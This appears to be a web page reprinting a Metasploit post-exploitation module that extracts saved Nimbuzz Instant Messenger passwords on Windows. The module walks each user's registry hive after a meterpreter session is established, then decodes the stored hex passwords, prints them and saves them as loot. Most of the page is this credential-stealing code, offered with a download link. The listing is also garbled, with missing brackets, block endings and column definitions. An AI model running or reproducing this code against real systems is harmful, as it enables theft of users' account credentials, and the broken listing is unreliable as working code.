Metasploit - Nimbuzz Instant Messenger Password Extractor
Metasploit - Nimbuzz Instant Messenger Password Extractor
Author: Silent Dream 
See Also
Module Description
This module extracts the account passwords saved by Nimbuzz Instant Messenger. It traverses through registry entries stored by Nimbuzz and automatically decodes & dumps all the account passwords.
Module Code
Here is the complete Metasploit code for this module.
# $Id: enum_nimbuzz_pwds.rb 13399 2011-07-29 01:29:15Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

require 'msf/core'
require 'msf/core/post/windows/registry'

class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report

def initialize(info={})
super( update_info( info,
'Name' => 'Nimbuzz Instant Messenger Password Extractor',
'Description' => %q{
This module extracts the account passwords saved by Nimbuzz Instant
Messenger in hex format.
'License' => MSF_LICENSE,
'Author' =>
'sil3ntdre4m <sil3ntdre4m[at]>',
'SecurityXploded Team',
'Version' => '$Revision: 13399 $',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]

def run
creds =
'Header' => 'Nimbuzz Instant Messenger Credentials',
'Ident' => 1,
'Columns' =>

registry_enumkeys('HKU').each do |k|
next unless k.include? "S-1-5-21"
next if k.include? "_Classes"

print_status("Looking at Key #{k}") if datastore['VERBOSE']
subkeys = registry_enumkeys("HKU\\#{k}\\Software\\Nimbuzz\\")

if subkeys == nil or subkeys == ""
print_status ("Nimbuzz Instant Messenger not installed for this user.")

user = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Username")
hpass = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Password")

next if hpass == nil or hpass == ""

hpass =~ /.{11}(.*)./
decpass = [$1].pack("H*")
print_good("User=#{user}, Password=#{decpass}")
creds << [user, decpass]

print_status("Storing data...")
path = store_loot(
'Nimbuzz User Credentials'

print_status("Nimbuzz user credentials saved in: #{path}")


Here is the Metasploit download link to this module.
  1. Source : Metasploit modules / post / windows / gather / enum_nimbuzz_pwds.rb
See Also